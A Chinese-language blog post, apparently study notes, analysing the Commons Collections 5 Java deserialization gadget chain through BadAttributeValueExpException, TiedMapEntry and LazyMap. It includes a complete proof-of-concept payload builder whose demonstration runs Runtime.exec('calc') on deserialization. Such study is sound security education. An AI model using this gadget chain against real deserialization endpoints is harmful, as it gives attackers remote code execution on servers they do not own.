JAVA反序列化学习笔记3.Commons Collections5分析

简介: JAVA反序列化学习笔记3.Commons Collections5分析

0x01.前言

在学习完最初的TransformedMap和LazyMap后,来看他们触发需要用到的类

TransformedMap->AnnotationInvocationHandler

LazyMap->AnnotationInvocationHandler

最后都用到了AnnotationInvocationHandler,而该类在JDK1.8中对readObject方法进行了修 改,所以在JDK1.8中无法继续使用AnnotationInvocationHandler来触发了。所以在JDK1.8中需要寻找新的触发类了,涉及到新的2个类,TiedMapEntryBadAttributeValueExpException

当前触发版本:commons-collections 3.2 JDK1.8u131

先来看一下完整的POC

Transformer[] transformers = new Transformer[]{ 
  new ConstantTransformer(Runtime.class), 
  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
  new Object[]{"getRuntime", new Class[0]}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc"}) }; 
Transformer transformerChain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap(); 
LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformerChain); 
TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1); 
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); 
val.set(poc, tiedmap);
//序列化 
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(poc); 
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); 
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 
Object result = objectInputStream.readObject(); 
objectInputStream.close();

还是用到了LazyMap,变化的代码为

TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1); 
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true);
val.set(poc, tiedmap);

0x02.TiedMapEntry类分析

既然还是用到了LazyMap,那还是需要找get操作。TieMapEntry的包位于

org.apache.commons.collections.keyvalue.TiedMapEntry

来看简要源码

public class TiedMapEntry implements Entry, KeyValue, Serializable {
 private static final long serialVersionUID = -8453869361373831205L; 
  private final Map map;   
  private final Object key;
 //构造方法,传入一个Map和一个Key值
  public TiedMapEntry(Map map, Object key) {
 this.map = map;
 this.key = key; 
 }
 //getValue方法调用了Map集合的get方法,如果Map传入一个LazyMap对象,可触发LazyMap 的get函数
 public Object getValue() { 
   return this.map.get(this.key); 
 }
 //调用了getValue方法 
 public String toString() { 
    return this.getKey() + "=" + this.getValue(); 
  }
}

这里完整的触发流程为 调用TieMapEntry对象的toString方法,之后又调用了getValue方法,最 后触发LazyMap的get方法

接下来寻找反序列化口并触发toString方法的类

0x03.BadAttributeValueExpException类分析

BadAttributeValueExpException类位于

javax.management.BadAttributeValueExpException

来看他的构造方法和readObject方法

private Object val; //私有属性
public BadAttributeValueExpException (Object val) { 
  //创建对象时会设置val的值,如果不为null,则调用toString方法后赋值给val 
  this.val = val == null ? null : val.toString(); 
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
 ObjectInputStream.GetField gf = ois.readFields(); 
  Object valObj = gf.get("val", null); //获取属性val的值 
  if (valObj == null) { 
    val = null; 
  } else if (valObj instanceof String) { 
    val= valObj; 
    //先对System.getSecurityManager进行判断,为null则进入该if判断,系统默认为null 
  } else if (System.getSecurityManager() == null 
      || valObj instanceof Long 
        || valObj instanceof Integer
        || valObj instanceof Float 
        || valObj instanceof Double 
        || valObj instanceof Byte 
        || valObj instanceof Short 
        || valObj instanceof Boolean) { 
     //调用toString方法,可触发TieMapEntry的toString方法 
     val = valObj.toString(); 
  } else { // the serialized object is from a version without JDK-8019292 fix 
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); 
  } 
}

可以发现val的值我们可控,如果设置val为TieMapEntry对象,在调用构造方法时就触发了 toString函数,但是因为最后反序列化操作时,已经无法触发构造方法了,所以漏洞的触发点 还是在readObject方法中,

这里需要提到下SecurityManager,为java的安全管理器,默认是关闭的也就是null,

获取val的值后进行SecurityManager判断,为null则进入,最后调用toString方法,触发漏洞

这时候还有个问题,val的值需要为TieMapEntry对象,而又是私有属性,创建对象后无法直接对 其进行操作,这时候需要用到反射去进行赋值了,所以就有了下面的构造语句

BadAttributeValueExpException poc = new BadAttributeValueExpException(1); 
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); 
val.setAccessible(true); 
val.set(poc, tiedmap);

其余的构造和CC1链大致相同,完整的触发链为

->ObjectInputStream.readObject()
 ->BadAttributeValueExpException.readObject()
  ->TieMapEntry.toString()
  ->TieMapEntry.getValue()
   ->LazyMap.get()
    ->ChainedTransformer.transform()
     ->ConstantTransformer.transform()
     ->InvokerTransformer.transform()
      ->Method.invoke()
      ->Class.getMethod()
     ->InvokerTransformer.transform()
      ->Method.invoke()
      ->Runtime.getRuntime()
     ->InvokerTransformer.transform()
      ->Method.invoke()
      ->Runtime.exec()
相关文章
|
1月前
|
存储 Java
【编程基础知识】 分析学生成绩:用Java二维数组存储与输出
本文介绍如何使用Java二维数组存储和处理多个学生的各科成绩,包括成绩的输入、存储及格式化输出,适合初学者实践Java基础知识。
67 1
|
16天前
|
存储 安全 Java
🌟Java零基础-反序列化:从入门到精通
【10月更文挑战第21天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
53 5
|
16天前
|
存储 Java 关系型数据库
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践,包括连接创建、分配、复用和释放等操作,并通过电商应用实例展示了如何选择合适的连接池库(如HikariCP)和配置参数,实现高效、稳定的数据库连接管理。
33 2
|
17天前
|
存储 缓存 安全
🌟Java零基础:深入解析Java序列化机制
【10月更文挑战第20天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
22 3
|
20天前
|
存储 安全 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第22天】在Java的世界里,对象序列化和反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何在Java中实现对象的序列化与反序列化,并探讨其背后的原理。通过实际代码示例,我们将一步步展示如何将复杂数据结构转换为字节流,以及如何将这些字节流还原为Java对象。文章还将讨论在使用序列化时应注意的安全性问题,以确保你的应用程序既高效又安全。
|
17天前
|
Java 关系型数据库 数据库
面向对象设计原则在Java中的实现与案例分析
【10月更文挑战第25天】本文通过Java语言的具体实现和案例分析,详细介绍了面向对象设计的五大核心原则:单一职责原则、开闭原则、里氏替换原则、接口隔离原则和依赖倒置原则。这些原则帮助开发者构建更加灵活、可维护和可扩展的系统,不仅适用于Java,也适用于其他面向对象编程语言。
12 2
|
1月前
|
Java
让星星⭐月亮告诉你,Java synchronized(*.class) synchronized 方法 synchronized(this)分析
本文通过Java代码示例,介绍了`synchronized`关键字在类和实例方法上的使用。总结了三种情况:1) 类级别的锁,多个实例对象在同一时刻只能有一个获取锁;2) 实例方法级别的锁,多个实例对象可以同时执行;3) 同一实例对象的多个线程,同一时刻只能有一个线程执行同步方法。
18 1
|
20天前
|
存储 缓存 NoSQL
一篇搞懂!Java对象序列化与反序列化的底层逻辑
本文介绍了Java中的序列化与反序列化,包括基本概念、应用场景、实现方式及注意事项。序列化是将对象转换为字节流,便于存储和传输;反序列化则是将字节流还原为对象。文中详细讲解了实现序列化的步骤,以及常见的反序列化失败原因和最佳实践。通过实例和代码示例,帮助读者更好地理解和应用这一重要技术。
18 0
|
21天前
|
存储 Java 编译器
[Java]基本数据类型与引用类型赋值的底层分析
本文详细分析了Java中不同类型引用的存储方式,包括int、Integer、int[]、Integer[]等,并探讨了byte与其他类型间的转换及String的相关特性。文章通过多个示例解释了引用和对象的存储位置,以及字符串常量池的使用。此外,还对比了String和StringBuilder的性能差异,帮助读者深入理解Java内存管理机制。
18 0
|
10天前
|
JSON 数据格式 索引
Python中序列化/反序列化JSON格式的数据
【11月更文挑战第4天】本文介绍了 Python 中使用 `json` 模块进行序列化和反序列化的操作。序列化是指将 Python 对象(如字典、列表)转换为 JSON 字符串,主要使用 `json.dumps` 方法。示例包括基本的字典和列表序列化,以及自定义类的序列化。反序列化则是将 JSON 字符串转换回 Python 对象,使用 `json.loads` 方法。文中还提供了具体的代码示例,展示了如何处理不同类型的 Python 对象。